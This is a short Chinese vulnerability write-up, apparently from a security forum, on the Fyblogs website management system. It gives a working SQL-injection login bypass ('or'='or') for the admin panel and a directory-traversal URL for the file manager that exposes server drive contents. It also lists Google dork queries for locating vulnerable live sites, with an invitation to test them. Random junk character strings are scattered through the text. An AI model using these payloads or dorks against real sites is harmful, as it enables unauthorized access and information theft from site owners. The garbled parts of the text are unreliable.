Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过

0 g- S9 H2 B' I6 m简要描述：

4 i, J6 ^5 w& v, b7 z6 N$ rFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
  j& p/ M5 H0 Q% z/ _. d4 ^
- v. Z4 \9 {* }. \% D( T详细说明：

后台万能密码 'or'='or'
1 n: U4 a9 o( n) `  O3 w% x: z后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
: N" x5 N9 `) A& a1 l/ {7 w3 Badmin/uploadfile.asp?currentFolder=/upfiles/../
3 `' X6 O3 Z% f
% O1 C: z7 h3 D7 [漏洞证明：

谷歌：inurl:type.asp?id=1 新闻中心
6 T* [+ N9 g2 b# g" [' E4 M; A; [或者 ：inurl:download_ok.asp?

, |/ ^5 ^  k9 F4 @- t3 ?可以测试
) B: n& y7 H' }/ T
7 T: c) w% Z) {: L. L5 v+ i​
& F/ R* i1 \+ s2 n  q